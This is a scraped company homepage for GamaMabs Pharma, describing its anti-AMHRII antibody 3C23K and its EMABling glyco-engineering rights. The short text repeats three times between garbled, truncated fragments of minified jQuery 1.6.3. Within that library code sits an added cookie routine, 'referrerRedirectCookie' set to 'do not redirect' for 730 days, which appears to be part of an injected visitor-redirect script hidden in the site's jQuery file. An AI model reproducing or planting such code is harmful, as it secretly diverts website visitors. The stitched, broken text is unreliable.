slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

-").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:s.isNaN(r)?a.test(r)?s.parseJSON(r):r:parseFloat(r)}catch(o){}s.data(e,n,r)}else r=t}return r}function c(e){for(var t in e)if(t!=="toJSON")return!1;return!0}function h(e,n,r){var i=n+"defer",o=n+"queue",u=n+"mark",a=s.data(e,i,t,!0);a&&(r==="queue"||!s.data(e,o,t,!0))&&(r==="mark"||!s.data(e,u,t,!0))&&setTimeout(function(){!s.data(e,o,t,!0)&&!s.data(e,u,t,!0)&&(s.removeData(e,i,!0),a.resolve())},0)}function L(){return!1}function A(){return!0}function H(e,n,r){var i=s.extend({},r[0]);i.type=e,i.originalEvent={},i.liveFired=t,s.event.handle.call(n,i),i.isDefaultPrevented()&&r[0].preventDefault()}function j(e){var t,n,r,i,o,u,a,f,l,c,h,p,d,v=[],m=[],g=s._data(this,"events");if(e.liveFired===this||!g||!g.live||e.target.disabled||e.button&&e.type==="click")return;e.namespace&&(p=new RegExp("(^|\.)"+e.namespace.split(".").join("\.(?:.*\.)?")+"(\.|$)")),e.liveFired=this;var y=g.live.slice(0);for(a=0;an)break;e.currentTarget=i.elem,e.data=i.handleObj.data,e.handleObj=i.handleObj,d=i.handleObj.origHandler.apply(i.elem,arguments);if(d===!1||e.isPropagationStopped()){n=i.level,d===!1&&(t=!1);if(e.isImmediatePropagationStopped())break}}return t}function F(e,t){return(e&&e!=="*"?e+".":"")+t.replace(T,"`").replace(N,"&")}function V(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function $(e,t,n){t=t||0;if(s.isFunction(t))return s.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return s.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=s.grep(e,function(e){return e.nodeType===1});if(U.test(t))return s.filter(t,r,!n);t=s.filter(t,r)}return s.grep(e,function(e,r){return s.inArray(e,t)>=0===n})}function st(e,t){return s.nodeName(e,"table")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function ot(e,t){if(t.nodeType!==1||!s.hasData(e))return;var n=s.expando,r=s.data(e),i=s.data(t,r);if(r=r[n]){var o=r.events;i=i[n]=s.extend({},r);if(o){delete i.handle,i.events={};for(var u in o)for(var a=0,f=o[u].length;a
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

*/")),t.parentNode&&t.parentNode.removeChild(t)}function Tt(e,t,n){var r=t==="width"?e.offsetWidth:e.offsetHeight,i=t==="width"?bt:wt;if(r>0)return n!=="border"&&s.each(i,function(){n||(r-=parseFloat(s.css(e,"padding"+this))||0),n==="margin"?r+=parseFloat(s.css(e,n+this))||0:r-=parseFloat(s.css(e,"border"+this+"Width"))||0}),r+"px";r=Et(e,t,t);if(r<0||r==null)r=e.style[t]||0;return r=parseFloat(r)||0,n&&s.each(i,function(){r+=parseFloat(s.css(e,"padding"+this))||0,n!=="padding"&&(r+=parseFloat(s.css(e,"border"+this+"Width"))||0),n==="margin"&&(r+=parseFloat(s.css(e,n+this))||0)}),r+"px"}function $t(e){return function(t,n){typeof t!="string"&&(n=t,t="*");if(s.isFunction(n)){var r=t.toLowerCase().split(jt),i=0,o=r.length,u,a,f;for(;i").appendTo(t),i=r.css("display");r.remove();if(i==="none"||i===""){an||(an=n.createElement("iframe"),an.frameBorder=an.width=an.height=0),t.appendChild(an);if(!fn||!an.createElement)fn=(an.contentWindow||an.contentDocument).document,fn.write((n.compatMode==="CSS1Compat"?"":"")+""),fn.close();r=fn.createElement(e),fn.body.appendChild(r),i=s.css(r,"display"),t.removeChild(an)}un[e]=i}return un[e]}function En(e){return s.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:!1}var n=e.document,r=e.navigator,i=e.location,s=function(){function B(){if(i.isReady)return;try{n.documentElement.doScroll("left")}catch(e){setTimeout(B,1);return}i.ready()}var i=function(e,t){return new i.fn.init(e,t,u)},s=e.jQuery,o=e.$,u,a=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,f=/\S/,l=/^\s+/,c=/\s+$/,h=/\d/,p=/^<(\w+)\s*\/?>(?:<\/
slide-1
slide-1

Home

GamaMabs Pharma develops innovative monoclonal antibodies in cancer.

GamaMabs’ lead project is the monoclonal antibody (mAb) 3C23K which targets Anti-Müllerian Human Receptor II (AMHRII), an unaddressed specific target in ovarian cancer.

The company has rights on a glyco-engineering technology (EMABling®) developed at LFB (France) which enhances the efficacy of mAbs through the activation of immune cells.

The main objective of GamaMabs is to develop its pipeline up to Proof of Concept in patients.

News

>)?$/,d=/^[\],:{}\s]*$/,v=/\(?:["\\/bfnrt]|u[0-9a-fA-F]{4})/g,m=/"[^"\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,g=/(?:^|:|,)(?:\s*\[)+/g,y=/(webkit)[ \/]([\w.]+)/,b=/(opera)(?:.*version)?[ \/]([\w.]+)/,w=/(msie) ([\w.]+)/,E=/(mozilla)(?:.*? rv:([\w.]+))?/,S=/-([a-z]|[0-9])/ig,x=/^-ms-/,T=function(e,t){return(t+"").toUpperCase()},N=r.userAgent,C,k,L,A=Object.prototype.toString,O=Object.prototype.hasOwnProperty,M=Array.prototype.push,_=Array.prototype.slice,D=String.prototype.trim,P=Array.prototype.indexOf,H={};return i.fn=i.prototype={constructor:i,init:function(e,r,s){var o,u,f,l;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(e==="body"&&!r&&n.body)return this.context=n,this[0]=n.body,this.selector=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?o=[null,e,null]:o=a.exec(e);if(o&&(o[1]||!r)){if(o[1])return r=r instanceof i?r[0]:r,l=r?r.ownerDocument||r:n,f=p.exec(e),f?i.isPlainObject(r)?(e=[n.createElement(f[1])],i.fn.attr.call(e,r,!0)):e=[l.createElement(f[1])]:(f=i.buildFragment([o[1]],[l]),e=(f.cacheable?i.clone(f.fragment):f.fragment).childNodes),i.merge(this,e);u=n.getElementById(o[2]);if(u&&u.parentNode){if(u.id!==o[2])return s.find(e);this.length=1,this[0]=u}return this.context=n,this.selector=e,this}return!r||r.jquery?(r||s).find(e):this.constructor(r).find(e)}return i.isFunction(e)?s.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),i.makeArray(e,this))},selector:"",jquery:"1.6.3",length:0,size:function(){return this.length},toArray:function(){return _.call(this,0)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=this.constructor();return i.isArray(e)?M.apply(r,e):i.merge(r,e),r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return i.each(this,e,t)},ready:function(e){return i.bindReady(),k.done(e),this},eq:function(e){return e===-1?this.slice(e):this.slice(e,+e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(_.apply(this,arguments),"slice",_.call(arguments).join(","))},map:function(e){return this.pushStack(i.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:M,sort:[].sort,splice:[].splice},i.fn.init.prototype=i.fn,i.extend=i.fn.extend=function(){var e,n,r,s,o,u,a=arguments[0]||{},f=1,l=arguments.length,c=!1;typeof a=="boolean"&&(c=a,a=arguments[1]||{},f=2),typeof a!="object"&&!i.isFunction(a)&&(a={}),l===f&&(a=this,--f);for(;f0)return;k.resolveWith(n,[i]),i.fn.trigger&&i(n).trigger("ready").unbind("ready")}},bindReady:function(){if(k)return;k=i._Deferred();if(n.readyState==="complete")return setTimeout(i.ready,1);if(n.addEventListener)n.addEventListener("DOMContentLoaded",L,!1),e.addEventListener("load",i.ready,!1);else if(n.attachEvent){n.attachEvent("onreadystatechange",L),e.attachEvent("onload",i.ready);var t=!1;try{t=e.frameElement==null}catch(r){}n.documentElement.doScroll&&t&&B()}},isFunction:function(e){return i.type(e)==="function"},isArray:Array.isArray||function(e){return i.type(e)==="array"},isWindow:function(e){return e&&typeof e=="object"&&"setInterval"in e},isNaN:function(e){return e==null||!h.test(e)||isNaN(e)},type:function(e){return e==null?String(e):H[A.call(e)]||"object"},isPlainObject:function(e){if(!e||i.type(e)!=="object"||e.nodeType||i.isWindow(e))return!1;try{if(e.constructor&&!O.call(e,"constructor")&&!O.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||O.call(e,r)},isEmptyObject:function(e){for(var t in e)return!1;return!0},error:function(e){throw e},parseJSON:function(t){if(typeof t!="string"||!t)return null;t=i.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(d.test(t.replace(v,"@").replace(m,"]").replace(g,"")))return(new Function("return "+t))();i.error("Invalid JSON: "+t)},parseXML:function(n){var r,s;try{e.DOMParser?(s=new DOMParser,r=s.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&i.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&f.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(x,"ms-").replace(S,T)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toUpperCase()===t.toUpperCase()},each:function(e,n,r){var s,o=0,u=e.length,a=u===t||i.isFunction(e);if(r){if(a){for(s in e)if(n.apply(e[s],r)===!1)break}else for(;o0&&e[0]&&e[f-1]||f===0||i.isArray(e));if(l)for(;a1?u.call(arguments,0):n,--i||o.resolveWith(o,u.call(t,0))}}var t=arguments,n=0,r=t.length,i=r,o=r<=1&&e&&s.isFunction(e.promise)?e:s.Deferred();if(r>1){for(;n
a",r=e.getElementsByTagName("*"),i=e.getElementsByTagName("a")[0];if(!r||!r.length||!i)return{};o=n.createElement("select"),u=o.appendChild(n.createElement("option")),a=e.getElementsByTagName("input")[0],l={leadingWhitespace:e.firstChild.nodeType===3,tbody:!e.getElementsByTagName("tbody").length,htmlSerialize:!!e.getElementsByTagName("link").length,style:/top/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:a.value==="on",optSelected:u.selected,getSetAttribute:e.className!=="t",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},a.checked=!0,l.noCloneChecked=a.cloneNode(!0).checked,o.disabled=!0,l.optDisabled=!u.disabled;try{delete e.test}catch(E){l.deleteExpando=!1}!e.addEventListener&&e.attachEvent&&e.fireEvent&&(e.attachEvent("onclick",function(){l.noCloneEvent=!1}),e.cloneNode(!0).fireEvent("onclick")),a=n.createElement("input"),a.value="t",a.setAttribute("type","radio"),l.radioValue=a.value==="t",a.setAttribute("checked","checked"),e.appendChild(a),c=n.createDocumentFragment(),c.appendChild(e.firstChild),l.checkClone=c.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="",e.style.width=e.style.paddingLeft="1px",h=n.getElementsByTagName("body")[0],d=n.createElement(h?"div":"body"),v={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},h&&s.extend(v,{position:"absolute",left:"-1000px",top:"-1000px"});for(b in v)d.style[b]=v[b];d.appendChild(e),p=h||t,p.insertBefore(d,p.firstChild),l.appendChecked=a.checked,l.boxModel=e.offsetWidth===2,"zoom"in e.style&&(e.style.display="inline",e.style.zoom=1,l.inlineBlockNeedsLayout=e.offsetWidth===2,e.style.display="",e.innerHTML="
",l.shrinkWrapBlocks=e.offsetWidth!==2),e.innerHTML="
t
",m=e.getElementsByTagName("td"),w=m[0].offsetHeight===0,m[0].style.display="",m[1].style.display="none",l.reliableHiddenOffsets=w&&m[0].offsetHeight===0,e.innerHTML="",n.defaultView&&n.defaultView.getComputedStyle&&(f=n.createElement("div"),f.style.width="0",f.style.marginRight="0",e.appendChild(f),l.reliableMarginRight=(parseInt((n.defaultView.getComputedStyle(f,null)||{marginRight:0}).marginRight,10)||0)===0),d.innerHTML="",p.removeChild(d);if(e.attachEvent)for(b in{submit:1,change:1,focusin:1})y="on"+b,w=y in e,w||(e.setAttribute(y,"return;"),w=typeof e[y]=="function"),l[b+"Bubbles"]=w;return d=c=o=u=h=f=e=a=null,l}(),s.boxModel=s.support.boxModel;var a=/^(?:\{.*\}|\[.*\])$/,f=/([a-z])([A-Z])/g;s.extend({cache:{},uuid:0,expando:"jQuery"+(s.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?s.cache[e[s.expando]]:e[s.expando],!!e&&!c(e)},data:function(e,n,r,i){if(!s.acceptData(e))return;var o,u,a=s.expando,f=typeof n=="string",l=e.nodeType,c=l?s.cache:e,h=l?e[s.expando]:e[s.expando]&&s.expando;if((!h||i&&h&&c[h]&&!c[h][a])&&f&&r===t)return;h||(l?e[s.expando]=h=++s.uuid:h=s.expando),c[h]||(c[h]={},l||(c[h].toJSON=s.noop));if(typeof n=="object"||typeof n=="function")i?c[h][a]=s.extend(c[h][a],n):c[h]=s.extend(c[h],n);return o=c[h],i&&(o[a]||(o[a]={}),o=o[a]),r!==t&&(o[s.camelCase(n)]=r),n==="events"&&!o[n]?o[a]&&o[a].events:(f?(u=o[n],u==null&&(u=o[s.camelCase(n)])):u=o,u)},removeData:function(e,t,n){if(!s.acceptData(e))return;var r,i=s.expando,o=e.nodeType,u=o?s.cache:e,a=o?e[s.expando]:s.expando;if(!u[a])return;if(t){r=n?u[a][i]:u[a];if(r){r[t]||(t=s.camelCase(t)),delete r[t];if(!c(r))return}}if(n){delete u[a][i];if(!c(u[a]))return}var f=u[a][i];s.support.deleteExpando||!u.setInterval?delete u[a]:u[a]=null,f?(u[a]={},o||(u[a].toJSON=s.noop),u[a][i]=f):o&&(s.support.deleteExpando?delete e[s.expando]:e.removeAttribute?e.removeAttribute(s.expando):e[s.expando]=null)},_data:function(e,t,n){return s.data(e,t,n,!0)},acceptData:function(e){if(e.nodeName){var t=s.noData[e.nodeName.toLowerCase()];if(t)return t!==!0&&e.getAttribute("classid")===t}return!0}}),s.fn.extend({data:function(e,n){var r=null;if(typeof e=="undefined"){if(this.length){r=s.data(this[0]);if(this[0].nodeType===1){var i=this[0].attributes,o;for(var u=0,a=i.length;u-1)return!0;return!1},val:function(e){var n,r,i=this[0];if(!arguments.length)return i?(n=s.valHooks[i.nodeName.toLowerCase()]||s.valHooks[i.type],n&&"get"in n&&(r=n.get(i,"value"))!==t?r:(r=i.value,typeof r=="string"?r.replace(v,""):r==null?"":r)):t;var o=s.isFunction(e);return this.each(function(r){var i=s(this),u;if(this.nodeType!==1)return;o?u=e.call(this,r,i.val()):u=e,u==null?u="":typeof u=="number"?u+="":s.isArray(u)&&(u=s.map(u,function(e){return e==null?"":e+""})),n=s.valHooks[this.nodeName.toLowerCase()]||s.valHooks[this.type];if(!n||!("set"in n)||n.set(this,u,"value")===t)this.value=u})}}),s.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n=e.selectedIndex,r=[],i=e.options,o=e.type==="select-one";if(n<0)return null;for(var u=o?n:0,a=o?n+1:i.length;u=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(e,n,r,i){var o=e.nodeType;if(!e||o===3||o===8||o===2)return t;if(i&&n in s.attrFn)return s(e)[n](r);if("getAttribute"in e){var u,a,f=o!==1||!s.isXMLDoc(e);return f&&(n=s.attrFix[n]||n,a=s.attrHooks[n],a||(b.test(n)?a=E:w&&(a=w))),r!==t?r===null?(s.removeAttr(e,n),t):a&&"set"in a&&f&&(u=a.set(e,r,n))!==t?u:(e.setAttribute(n,""+r),r):a&&"get"in a&&f&&(u=a.get(e,n))!==null?u:(u=e.getAttribute(n),u===null?t:u)}return s.prop(e,n,r)},removeAttr:function(e,t){var n;e.nodeType===1&&(t=s.attrFix[t]||t,s.attr(e,t,""),e.removeAttribute(t),b.test(t)&&(n=s.propFix[t]||t)in e&&(e[n]=!1))},attrHooks:{type:{set:function(e,t){if(m.test(e.nodeName)&&e.parentNode)s.error("type property can't be changed");else if(!s.support.radioValue&&t==="radio"&&s.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return w&&s.nodeName(e,"button")?w.get(e,t):t in e?e.value:null},set:function(e,t,n){if(w&&s.nodeName(e,"button"))return w.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i=e.nodeType;if(!e||i===3||i===8||i===2)return t;var o,u,a=i!==1||!s.isXMLDoc(e);return a&&(n=s.propFix[n]||n,u=s.propHooks[n]),r!==t?u&&"set"in u&&(o=u.set(e,r,n))!==t?o:e[n]=r:u&&"get"in u&&(o=u.get(e,n))!==null?o:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):g.test(e.nodeName)||y.test(e.nodeName)&&e.href?0:t}}}}),s.attrHooks.tabIndex=s.propHooks.tabIndex,E={get:function(e,n){var r;return s.prop(e,n)===!0||(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?s.removeAttr(e,n):(r=s.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},s.support.getSetAttribute||(w=s.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&r.nodeValue!==""?r.nodeValue:t},set:function(e,t,r){var i=e.getAttributeNode(r);return i||(i=n.createAttribute(r),e.setAttributeNode(i)),i.nodeValue=t+""}},s.each(["width","height"],function(e,t){s.attrHooks[t]=s.extend(s.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})})),s.support.hrefNormalized||s.each(["href","src","width","height"],function(e,n){s.attrHooks[n]=s.extend(s.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),s.support.style||(s.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=""+t}}),s.support.optSelected||(s.propHooks.selected=s.extend(s.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),s.support.checkOn||s.each(["radio","checkbox"],function(){s.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),s.each(["radio","checkbox"],function(){s.valHooks[this]=s.extend(s.valHooks[this],{set:function(e,t){if(s.isArray(t))return e.checked=s.inArray(s(e).val(),t)>=0}})});var S=/\.(.*)$/,x=/^(?:textarea|input|select)$/i,T=/\./g,N=/ /g,C=/[^\w\s.|`]/g,k=function(e){return e.replace(C,"\$&")};s.event={add:function(e,n,r,i){if(e.nodeType===3||e.nodeType===8)return;if(r===!1)r=L;else if(!r)return;var o,u;r.handler&&(o=r,r=o.handler),r.guid||(r.guid=s.guid++);var a=s._data(e);if(!a)return;var f=a.events,l=a.handle;f||(a.events=f={}),l||(a.handle=l=function(e){return typeof s=="undefined"||!!e&&s.event.triggered===e.type?t:s.event.handle.apply(l.elem,arguments)}),l.elem=e,n=n.split(" ");var c,h=0,p;while(c=n[h++]){u=o?s.extend({},o):{handler:r,data:i},c.indexOf(".")>-1?(p=c.split("."),c=p.shift(),u.namespace=p.slice(0).sort().join(".")):(p=[],u.namespace=""),u.type=c,u.guid||(u.guid=r.guid);var d=f[c],v=s.event.special[c]||{};if(!d){d=f[c]=[];if(!v.setup||v.setup.call(e,i,p,l)===!1)e.addEventListener?e.addEventListener(c,l,!1):e.attachEvent&&e.attachEvent("on"+c,l)}v.add&&(v.add.call(e,u),u.handler.guid||(u.handler.guid=r.guid)),d.push(u),s.event.global[c]=!0}e=null},global:{},remove:function(e,n,r,i){if(e.nodeType===3||e.nodeType===8)return;r===!1&&(r=L);var o,u,a,f,l=0,c,h,p,d,v,m,g,y=s.hasData(e)&&s._data(e),b=y&&y.events;if(!y||!b)return;n&&n.type&&(r=n.handler,n=n.type);if(!n||typeof n=="string"&&n.charAt(0)==="."){n=n||"";for(u in b)s.event.remove(e,u+n);return}n=n.split(" ");while(u=n[l++]){g=u,m=null,c=u.indexOf(".")<0,h=[],c||(h=u.split("."),u=h.shift(),p=new RegExp("(^|\.)"+s.map(h.slice(0).sort(),k).join("\.(?:.*\.)?")+"(\.|$)")),v=b[u];if(!v)continue;if(!r){for(f=0;f=0&&(u=u.slice(0,-1),f=!0),u.indexOf(".")>=0&&(a=u.split("."),u=a.shift(),a.sort());if((!i||s.event.customEvent[u])&&!s.event.global[u])return;n=typeof n=="object"?n[s.expando]?n:new s.Event(u,n):new s.Event(u),n.type=u,n.exclusive=f,n.namespace=a.join("."),n.namespace_re=new RegExp("(^|\.)"+a.join("\.(?:.*\.)?")+"(\.|$)");if(o||!i)n.preventDefault(),n.stopPropagation();if(!i){s.each(s.cache,function(){var e=s.expando,t=this[e];t&&t.events&&t.events[u]&&s.event.trigger(n,r,t.handle.elem)});return}if(i.nodeType===3||i.nodeType===8)return;n.result=t,n.target=i,r=r!=null?s.makeArray(r):[],r.unshift(n);var l=i,c=u.indexOf(":")<0?"on"+u:"";do{var h=s._data(l,"handle");n.currentTarget=l,h&&h.apply(l,r),c&&s.acceptData(l)&&l[c]&&l[c].apply(l,r)===!1&&(n.result=!1,n.preventDefault()),l=l.parentNode||l.ownerDocument||l===n.target.ownerDocument&&e}while(l&&!n.isPropagationStopped());if(!n.isDefaultPrevented()){var p,d=s.event.special[u]||{};if((!d._default||d._default.call(i.ownerDocument,n)===!1)&&(u!=="click"||!s.nodeName(i,"a"))&&s.acceptData(i)){try{c&&i[u]&&(p=i[c],p&&(i[c]=null),s.event.triggered=u,i[u]())}catch(v){}p&&(i[c]=p),s.event.triggered=t}}return n.result},handle:function(n){n=s.event.fix(n||e.event);var r=((s._data(this,"events")||{})[n.type]||[]).slice(0),i=!n.exclusive&&!n.namespace,o=Array.prototype.slice.call(arguments,0);o[0]=n,n.currentTarget=this;for(var u=0,a=r.length;u-1?s.map(e.options,function(e){return e.selected}).join("-"):"":s.nodeName(e,"select")&&(n=e.selectedIndex),n},P=function(n){var r=n.target,i,o;if(!x.test(r.nodeName)||r.readOnly)return;i=s._data(r,"_change_data"),o=D(r),(n.type!=="focusout"||r.type!=="radio")&&s._data(r,"_change_data",o);if(i===t||o===i)return;if(i!=null||o)n.type="change",n.liveFired=t,s.event.trigger(n,arguments[1],r)};s.event.special.change={filters:{focusout:P,beforedeactivate:P,click:function(e){var t=e.target,n=s.nodeName(t,"input")?t.type:"";(n==="radio"||n==="checkbox"||s.nodeName(t,"select"))&&P.call(this,e)},keydown:function(e){var t=e.target,n=s.nodeName(t,"input")?t.type:"";(e.keyCode===13&&!s.nodeName(t,"textarea")||e.keyCode===32&&(n==="checkbox"||n==="radio")||n==="select-multiple")&&P.call(this,e)},beforeactivate:function(e){var t=e.target;s._data(t,"_change_data",D(t))}},setup:function(e,t){if(this.type==="file")return!1;for(var n in _)s.event.add(this,n+".specialChange",_[n]);return x.test(this.nodeName)},teardown:function(e){return s.event.remove(this,".specialChange"),x.test(this.nodeName)}},_=s.event.special.change.filters,_.focus=_.beforeactivate}s.support.focusinBubbles||s.each({focus:"focusin",blur:"focusout"},function(e,t){function i(e){var n=s.event.fix(e);n.type=t,n.originalEvent={},s.event.trigger(n,null,n.target),n.isDefaultPrevented()&&e.preventDefault()}var r=0;s.event.special[t]={setup:function(){r++===0&&n.addEventListener(e,i,!0)},teardown:function(){--r===0&&n.removeEventListener(e,i,!0)}}}),s.each(["bind","one"],function(e,n){s.fn[n]=function(e,r,i){var o;if(typeof e=="object"){for(var u in e)this[n](u,r,e[u],i);return this}if(arguments.length===2||r===!1)i=r,r=t;n==="one"?(o=function(e){return s(this).unbind(e,o),i.apply(this,arguments)},o.guid=i.guid||s.guid++):o=i;if(e==="unload"&&n!=="one")this.one(e,r,i);else for(var a=0,f=this.length;a0?this.bind(t,e,n):this.trigger(t)},s.attrFn&&(s.attrFn[t]=!0)}),function(){function S(e){var t=n.cookie,r=t.indexOf(" "+e+"=");r==-1&&(r=t.indexOf(e+"="));if(r==-1)t=null;else{r=t.indexOf("=",r)+1;var i=t.indexOf(";",r);i==-1&&(i=t.length),t=unescape(t.substring(r,i))}return t}function x(e,t,r){var i=new Date;i.setDate(i.getDate()+r);var s=escape(t)+(r==null?"":"; expires="+i.toUTCString());n.cookie=e+"="+s}function T(){var e=S("referrerRedirectCookie");return e!=null&&e!=""?!0:(x("referrerRedirectCookie","do not redirect",730),!1)}function L(e,t,n,r,i,s){for(var o=0,u=r.length;o0){f=a;break}}a=a[e]}r[o]=f}}}var r=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\.|[^ >+~,(\[\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,i=0,o=Object.prototype.toString,u=!1,a=!0,f=/\/g,l=/\W/;[0,0].sort(function(){return a=!1,0});var c=function(e,t,i,s){i=i||[],t=t||n;var u=t;if(t.nodeType!==1&&t.nodeType!==9)return[];if(!e||typeof e!="string")return i;var a,f,l,d,v,g,y,b,w=!0,E=c.isXML(t),S=[],x=e;do{r.exec(""),a=r.exec(x);if(a){x=a[3],S.push(a[1]);if(a[2]){d=a[3];break}}}while(a);if(S.length>1&&p.exec(e))if(S.length===2&&h.relative[S[0]])f=O(S[0]+S[1],t);else{f=h.relative[S[0]]?[t]:c(S.shift(),t);while(S.length)e=S.shift(),h.relative[e]&&(e+=S.shift()),f=O(e,f)}else{!s&&S.length>1&&t.nodeType===9&&!E&&h.match.ID.test(S[0])&&!h.match.ID.test(S[S.length-1])&&(v=c.find(S.shift(),t,E),t=v.expr?c.filter(v.expr,v.set)[0]:v.set[0]);if(t){v=s?{expr:S.pop(),set:m(s)}:c.find(S.pop(),S.length!==1||S[0]!=="~"&&S[0]!=="+"||!t.parentNode?t:t.parentNode,E),f=v.expr?c.filter(v.expr,v.set):v.set,S.length>0?l=m(f):w=!1;while(S.length)g=S.pop(),y=g,h.relative[g]?y=S.pop():g="",y==null&&(y=t),h.relative[g](l,y,E)}else l=S=[]}l||(l=f),l||c.error(g||e);if(o.call(l)==="[object Array]")if(!w)i.push.apply(i,l);else if(t&&t.nodeType===1)for(b=0;l[b]!=null;b++)l[b]&&(l[b]===!0||l[b].nodeType===1&&c.contains(t,l[b]))&&i.push(f[b]);else for(b=0;l[b]!=null;b++)l[b]&&l[b].nodeType===1&&i.push(f[b]);else m(l,i);return d&&(c(d,u,i,s),c.uniqueSort(i)),i};c.uniqueSort=function(e){if(C){u=a,e.sort(C);if(u)for(var t=1;t0},c.find=function(e,t,n){var r;if(!e)return[];for(var i=0,s=h.order.length;i":function(e,t){var n,r=typeof t=="string",i=0,s=e.length;if(r&&!l.test(t)){t=t.toLowerCase();for(;i=0)?n||r.push(u):n&&(t[o]=!1));return!1},ID:function(e){return e[1].replace(f,"")},TAG:function(e,t){return e[1].replace(f,"").toLowerCase()},CHILD:function(e){if(e[1]==="nth"){e[2]||c.error(e[0]),e[2]=e[2].replace(/^\+|\s*/g,"");var t=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(e[2]==="even"&&"2n"||e[2]==="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=t[1]+(t[2]||1)-0,e[3]=t[3]-0}else e[2]&&c.error(e[0]);return e[0]=i++,e},ATTR:function(e,t,n,r,i,s){var o=e[1]=e[1].replace(f,"");return!s&&h.attrMap[o]&&(e[1]=h.attrMap[o]),e[4]=(e[4]||e[5]||"").replace(f,""),e[2]==="~="&&(e[4]=" "+e[4]+" "),e},PSEUDO:function(e,t,n,i,s){if(e[1]==="not"){if(!((r.exec(e[3])||"").length>1||/^\w/.test(e[3]))){var o=c.filter(e[3],t,n,!0^s);return n||i.push.apply(i,o),!1}e[3]=c(e[3],null,null,t)}else if(h.match.POS.test(e[0])||h.match.CHILD.test(e[0]))return!0;return e},POS:function(e){return 